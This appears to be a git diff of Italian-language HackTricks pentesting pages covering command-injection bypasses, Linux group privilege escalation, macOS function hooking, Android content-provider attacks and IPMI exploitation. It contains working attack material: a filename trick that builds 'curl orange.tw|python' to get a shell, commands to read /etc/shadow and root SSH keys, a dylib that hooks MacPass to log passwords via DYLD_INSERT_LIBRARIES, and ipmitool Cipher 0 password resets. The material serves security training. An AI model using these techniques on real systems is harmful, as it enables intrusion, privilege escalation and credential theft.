# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*
# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### RCE con 4 caratteri
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'
# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'
# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'
# got shell
'sh x'
'sh g'
```
## Bypass di Read-Only/Noexec/Distroless
Se ti trovi all'interno di un filesystem con le **protezioni read-only e noexec** o anche in un container distroless, ci sono ancora modi per **eseguire binari arbitrari, anche una shell!:**
{{#ref}}
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Bypass di Chroot e altre Jails
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## Riferimenti e Altro
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
{{#include ../../banners/hacktricks-training.md}}

23
src/linux-unix/privilege-escalation/exploiting-yum.md
View File

@ -1,23 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
Ulteriori esempi su yum possono essere trovati su [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
# Esecuzione di comandi arbitrari tramite pacchetti RPM
## Controllo dell'ambiente
Per sfruttare questo vettore, l'utente deve essere in grado di eseguire comandi yum come un utente con privilegi più elevati, cioè root.
### Un esempio funzionante di questo vettore
Un esempio funzionante di questo exploit può essere trovato nella stanza [daily bugle](https://tryhackme.com/room/dailybugle) su [tryhackme](https://tryhackme.com).
## Creazione di un RPM
Nella sezione seguente, tratterò l'imballaggio di una reverse shell in un RPM utilizzando [fpm](https://github.com/jordansissel/fpm).
L'esempio seguente crea un pacchetto che include un trigger prima dell'installazione con uno script arbitrario che può essere definito dall'attaccante. Quando installato, questo pacchetto eseguirà il comando arbitrario. Ho usato un semplice esempio di reverse netcat shell per dimostrazione, ma questo può essere cambiato secondo necessità.
```text
```
{{#include ../../banners/hacktricks-training.md}}

140
src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
View File

@ -1,140 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Gruppi Sudo/Admin
## **PE - Metodo 1**
**A volte**, **per impostazione predefinita \(o perché alcuni software ne hanno bisogno\)** all'interno del **/etc/sudoers** file puoi trovare alcune di queste righe:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
Questo significa che **qualsiasi utente che appartiene al gruppo sudo o admin può eseguire qualsiasi cosa come sudo**.
Se questo è il caso, per **diventare root puoi semplicemente eseguire**:
```text
sudo su
```
## PE - Metodo 2
Trova tutti i binari suid e controlla se c'è il binario **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
Se scopri che il binario pkexec è un binario SUID e appartieni a sudo o admin, probabilmente potresti eseguire binari come sudo utilizzando pkexec. Controlla il contenuto di:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Lì troverai quali gruppi sono autorizzati a eseguire **pkexec** e **per impostazione predefinita** in alcune distribuzioni linux possono **apparire** alcuni dei gruppi **sudo o admin**.
Per **diventare root puoi eseguire**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
Se provi a eseguire **pkexec** e ricevi questo **errore**:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**Non è perché non hai permessi, ma perché non sei connesso senza una GUI**. E c'è una soluzione a questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
```
```bash:session2
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
# Wheel Group
**A volte**, **per impostazione predefinita** all'interno del **/etc/sudoers** file puoi trovare questa riga:
```text
%wheel ALL=(ALL:ALL) ALL
```
Questo significa che **qualsiasi utente che appartiene al gruppo wheel può eseguire qualsiasi cosa come sudo**.
Se questo è il caso, per **diventare root puoi semplicemente eseguire**:
```text
sudo su
```
# Gruppo Shadow
Gli utenti del **gruppo shadow** possono **leggere** il **/etc/shadow** file:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
Quindi, leggi il file e prova a **crackare alcuni hash**.
# Gruppo Disco
Questo privilegio è quasi **equivalente all'accesso root** poiché puoi accedere a tutti i dati all'interno della macchina.
File:`/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Nota che usando debugfs puoi anche **scrivere file**. Ad esempio, per copiare `/tmp/asd1.txt` in `/tmp/asd2.txt` puoi fare:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Tuttavia, se provi a **scrivere file di proprietà di root** \(come `/etc/shadow` o `/etc/passwd`\) riceverai un errore di "**Permesso negato**".
# Video Group
Utilizzando il comando `w` puoi scoprire **chi è connesso al sistema** e mostrerà un output simile al seguente:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
Il **tty1** significa che l'utente **yossi è connesso fisicamente** a un terminale sulla macchina.
Il **gruppo video** ha accesso per visualizzare l'output dello schermo. Fondamentalmente puoi osservare gli schermi. Per fare ciò, devi **catturare l'immagine corrente sullo schermo** in dati grezzi e ottenere la risoluzione che lo schermo sta utilizzando. I dati dello schermo possono essere salvati in `/dev/fb0` e puoi trovare la risoluzione di questo schermo in `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il file **`screen.raw`** e selezionare come tipo di file **Dati immagine raw**:
![](../../images/image%20%28208%29.png)
Poi modifica la Larghezza e l'Altezza a quelle utilizzate sullo schermo e controlla diversi Tipi di Immagine \(e seleziona quello che mostra meglio lo schermo\):
![](../../images/image%20%28295%29.png)
# Gruppo Root
Sembra che per impostazione predefinita i **membri del gruppo root** possano avere accesso a **modificare** alcuni file di configurazione dei **servizi** o alcuni file di **librerie** o **altre cose interessanti** che potrebbero essere utilizzate per elevare i privilegi...
**Controlla quali file i membri root possono modificare**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Gruppo Docker
Puoi montare il filesystem root della macchina host su un volume dell'istanza, così quando l'istanza si avvia carica immediatamente un `chroot` in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina.
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
# Gruppo lxc/lxd
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
{{#include ../../banners/hacktricks-training.md}}

338
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
View File

@ -1,338 +0,0 @@
# macOS Function Hooking
{{#include ../../../banners/hacktricks-training.md}}
## Interposizione delle Funzioni
Crea un **dylib** con una sezione **`__interpose`** (o una sezione contrassegnata con **`S_INTERPOSING`**) contenente tuple di **puntatori a funzioni** che si riferiscono alle funzioni **originali** e **sostitutive**.
Poi, **inietta** il dylib con **`DYLD_INSERT_LIBRARIES`** (l'interposizione deve avvenire prima che l'app principale venga caricata). Ovviamente, le [**restrizioni** applicate all'uso di **`DYLD_INSERT_LIBRARIES`** si applicano anche qui](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
### Interponi printf
{{#tabs}}
{{#tab name="interpose.c"}}
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{{#endtab}}
{{#tab name="hello.c"}}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
}
```
{{#endtab}}
{{#tab name="interpose2.c"}}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{{#endtab}}
{{#endtabs}}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## Method Swizzling
In ObjectiveC questo è come viene chiamato un metodo: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
È necessario l'**oggetto**, il **metodo** e i **parametri**. E quando un metodo viene chiamato, un **msg viene inviato** utilizzando la funzione **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
L'oggetto è **`someObject`**, il metodo è **`@selector(method1p1:p2:)`** e gli argomenti sono **value1**, **value2**.
Seguendo le strutture degli oggetti, è possibile raggiungere un'**array di metodi** dove i **nomi** e i **puntatori** al codice del metodo sono **localizzati**.
> [!CAUTION]
> Nota che poiché i metodi e le classi vengono accessi in base ai loro nomi, queste informazioni sono memorizzate nel binario, quindi è possibile recuperarle con `otool -ov </path/bin>` o [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
### Accessing the raw methods
È possibile accedere alle informazioni dei metodi come nome, numero di parametri o indirizzo come nel seguente esempio:
```objectivec
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
### Method Swizzling con method_exchangeImplementations
La funzione **`method_exchangeImplementations`** consente di **cambiare** l'**indirizzo** dell'**implementazione** di **una funzione con l'altra**.
> [!CAUTION]
> Quindi, quando una funzione viene chiamata, ciò che viene **eseguito è l'altra**.
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
```
> [!WARNING]
> In questo caso, se il **codice di implementazione del metodo legittimo** **verifica** il **nome del metodo**, potrebbe **rilevare** questo swizzling e impedirne l'esecuzione.
>
> La seguente tecnica non ha questa restrizione.
### Method Swizzling con method_setImplementation
Il formato precedente è strano perché stai cambiando l'implementazione di 2 metodi l'uno dall'altro. Utilizzando la funzione **`method_setImplementation`**, puoi **cambiare** l'**implementazione** di un **metodo per l'altro**.
Ricorda solo di **memorizzare l'indirizzo dell'implementazione di quello originale** se intendi chiamarlo dalla nuova implementazione prima di sovrascriverlo, perché in seguito sarà molto più complicato localizzare quell'indirizzo.
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
```
## Hooking Attack Methodology
In questa pagina sono stati discussi diversi modi per agganciare funzioni. Tuttavia, comportavano **l'esecuzione di codice all'interno del processo per attaccare**.
Per fare ciò, la tecnica più semplice da utilizzare è iniettare un [Dyld tramite variabili di ambiente o hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Tuttavia, suppongo che questo possa essere fatto anche tramite [Dylib process injection](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port).
Tuttavia, entrambe le opzioni sono **limitate** a binari/processi **non protetti**. Controlla ciascuna tecnica per saperne di più sulle limitazioni.
Tuttavia, un attacco di hooking di funzione è molto specifico, un attaccante lo farà per **rubare informazioni sensibili dall'interno di un processo** (se no faresti semplicemente un attacco di iniezione di processo). E queste informazioni sensibili potrebbero trovarsi in app scaricate dall'utente come MacPass.
Quindi il vettore dell'attaccante sarebbe quello di trovare una vulnerabilità o rimuovere la firma dell'applicazione, iniettare la variabile di ambiente **`DYLD_INSERT_LIBRARIES`** attraverso l'Info.plist dell'applicazione aggiungendo qualcosa come:
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
e poi **ri-registrare** l'applicazione:
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
Aggiungi in quella libreria il codice di hooking per esfiltrare le informazioni: Passwords, messages...
> [!CAUTION]
> Nota che nelle versioni più recenti di macOS se **rimuovi la firma** del binario dell'applicazione e questa è stata eseguita in precedenza, macOS **non eseguirà più l'applicazione**.
#### Esempio di libreria
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## Riferimenti
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
{{#include ../../../banners/hacktricks-training.md}}

95
src/misc/references.md
View File

@ -1,95 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

30
src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md
View File

@ -1,12 +1,10 @@
# Sfruttare i Content Providers
## Sfruttare i Content Providers
# Exploiting Content Providers
{{#include ../../../banners/hacktricks-training.md}}
## Introduzione
## Intro
I dati vengono **forniti da un'applicazione ad altre** su richiesta da un componente noto come **content provider**. Queste richieste sono gestite attraverso i metodi della **classe ContentResolver**. I content provider possono memorizzare i loro dati in varie posizioni, come un **database**, **file** o su una **rete**.
I dati sono **forniti da un'applicazione ad altre** su richiesta da un componente noto come **content provider**. Queste richieste sono gestite attraverso i metodi della **classe ContentResolver**. I content provider possono memorizzare i loro dati in varie posizioni, come un **database**, **file** o su una **rete**.
Nel file _Manifest.xml_, è necessaria la dichiarazione del content provider. Ad esempio:
```xml
@ -54,7 +52,7 @@ content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
Dovresti anche controllare il **codice ContentProvider** per cercare query:
Dovresti anche controllare il **codice del ContentProvider** per cercare query:
![](<../../../images/image (121) (1) (1) (1).png>)
@ -64,12 +62,12 @@ Inoltre, se non riesci a trovare query complete, potresti **controllare quali no
La query sarà simile a: `content://name.of.package.class/declared_name`
## **Content Providers supportati da Database**
## **Content Provider basati su Database**
Probabilmente la maggior parte dei Content Providers è utilizzata come **interfaccia** per un **database**. Pertanto, se puoi accedervi, potresti essere in grado di **estrarre, aggiornare, inserire e eliminare** informazioni.\
Probabilmente la maggior parte dei Content Provider è utilizzata come **interfaccia** per un **database**. Pertanto, se puoi accedervi, potresti essere in grado di **estrarre, aggiornare, inserire e eliminare** informazioni.\
Controlla se puoi **accedere a informazioni sensibili** o prova a modificarle per **bypassare** i meccanismi di autorizzazione.
Quando controlli il codice del Content Provider, **guarda** anche per **funzioni** chiamate come: _query, insert, update e delete_:
Quando controlli il codice del Content Provider **guarda** anche per **funzioni** chiamate come: _query, insert, update e delete_:
![](<../../../images/image (887).png>)
@ -87,9 +85,9 @@ password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
### Inserisci contenuto
### Insert content
Queriando il database imparerai il **nome delle colonne**, poi, potresti essere in grado di inserire dati nel DB:
Interrogando il database imparerai il **nome delle colonne**, poi, potresti essere in grado di inserire dati nel DB:
![](<../../../images/image (98).png>)
@ -97,24 +95,24 @@ Queriando il database imparerai il **nome delle colonne**, poi, potresti essere
_Nota che in insert e update puoi usare --string per indicare stringa, --double per indicare un double, --float, --integer, --long, --short, --boolean_
### Aggiorna contenuto
### Update content
Conoscendo il nome delle colonne potresti anche **modificare le voci**:
![](<../../../images/image (780).png>)
### Elimina contenuto
### Delete content
![](<../../../images/image (423).png>)
### **SQL Injection**
È semplice testare per SQL injection **(SQLite)** manipolando i **campi di proiezione** e **selezione** che vengono passati al content provider.\
Quando quering il Content Provider ci sono 2 argomenti interessanti per cercare informazioni: _--selection_ e _--projection_:
Quando interroghi il Content Provider ci sono 2 argomenti interessanti per cercare informazioni: _--selection_ e _--projection_:
![](<../../../images/image (784).png>)
Puoi provare ad **abusare** di questi **parametri** per testare per **SQL injection**:
Puoi provare ad **abusare** di questi **parametri** per testare per **SQL injections**:
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
@ -147,7 +145,7 @@ android_metadata
notes
sqlite_sequence
```
## **Content Provider supportati dal File System**
## **Content Provider basati su File System**
I content provider possono essere utilizzati anche per **accedere ai file:**

14
src/network-services-pentesting/623-udp-ipmi.md
View File

@ -1,7 +1,5 @@
# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
{{#include ../banners/hacktricks-training.md}}
@ -42,7 +40,7 @@ nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### Vulnerabilità IPMI
Nel campo di IPMI 2.0, è stata scoperta una significativa falla di sicurezza da Dan Farmer, che espone una vulnerabilità attraverso **cipher type 0**. Questa vulnerabilità, documentata in dettaglio in [la ricerca di Dan Farmer](http://fish2.com/ipmi/cipherzero.html), consente l'accesso non autorizzato con qualsiasi password fornita che un utente valido sia preso di mira. Questa debolezza è stata trovata in vari BMC di produttori come HP, Dell e Supermicro, suggerendo un problema diffuso in tutte le implementazioni di IPMI 2.0.
Nel campo di IPMI 2.0, è stata scoperta una significativa falla di sicurezza da Dan Farmer, esponendo una vulnerabilità attraverso **cipher type 0**. Questa vulnerabilità, documentata in dettaglio in [la ricerca di Dan Farmer](http://fish2.com/ipmi/cipherzero.html), consente l'accesso non autorizzato con qualsiasi password fornita che miri a un utente valido. Questa debolezza è stata riscontrata in vari BMC di produttori come HP, Dell e Supermicro, suggerendo un problema diffuso in tutte le implementazioni di IPMI 2.0.
### **Bypass dell'autenticazione IPMI tramite Cipher 0**
@ -56,13 +54,13 @@ apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **Recupero dell'hash della password remota di autenticazione RAKP IPMI 2.0**
### **Recupero dell'Hash della Password Remota di Autenticazione RAKP IPMI 2.0**
Questa vulnerabilità consente il recupero delle password hash salate (MD5 e SHA1) per qualsiasi nome utente esistente. Per testare questa vulnerabilità, Metasploit offre un modulo:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **Autenticazione IPMI Anonima**
### **Autenticazione Anonima IPMI**
Una configurazione predefinita in molti BMC consente l'accesso "anonimo", caratterizzato da stringhe di nome utente e password nulle. Questa configurazione può essere sfruttata per reimpostare le password degli account utente nominati utilizzando `ipmitool`:
```bash
@ -75,9 +73,9 @@ Una scelta di design critica in IPMI 2.0 richiede la memorizzazione di password
```bash
cat /nv/PSBlock
```
### **Vulnerabilità UPnP di Supermicro IPMI**
### **Vulnerabilità UPnP IPMI di Supermicro**
L'inclusione di un listener SSDP UPnP nel firmware IPMI di Supermicro, in particolare sulla porta UDP 1900, introduce un grave rischio per la sicurezza. Le vulnerabilità nel Intel SDK per dispositivi UPnP versione 1.3.1, come dettagliato nella [divulgazione di Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), consentono l'accesso root al BMC:
L'inclusione da parte di Supermicro di un listener SSDP UPnP nel suo firmware IPMI, in particolare sulla porta UDP 1900, introduce un grave rischio per la sicurezza. Le vulnerabilità nel Intel SDK per dispositivi UPnP versione 1.3.1, come dettagliato nella [divulgazione di Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), consentono l'accesso root al BMC:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
@ -91,7 +89,7 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow
## Accessing the Host via BMC
L'accesso amministrativo al Baseboard Management Controller (BMC) apre vari percorsi per accedere al sistema operativo dell'host. Un approccio semplice prevede di sfruttare la funzionalità Keyboard, Video, Mouse (KVM) del BMC. Questo può essere fatto riavviando l'host in una shell root tramite GRUB (utilizzando `init=/bin/sh`) o avviando da un CD-ROM virtuale impostato come disco di ripristino. Tali metodi consentono la manipolazione diretta del disco dell'host, inclusa l'inserzione di backdoor, l'estrazione di dati o qualsiasi azione necessaria per una valutazione della sicurezza. Tuttavia, ciò richiede il riavvio dell'host, che è uno svantaggio significativo. Senza riavviare, accedere all'host in esecuzione è più complesso e varia in base alla configurazione dell'host. Se la console fisica o seriale dell'host rimane connessa, può essere facilmente presa in carico tramite le funzionalità KVM o serial-over-LAN (sol) del BMC tramite `ipmitool`. Esplorare lo sfruttamento delle risorse hardware condivise, come il bus i2c e il chip Super I/O, è un'area che richiede ulteriori indagini.
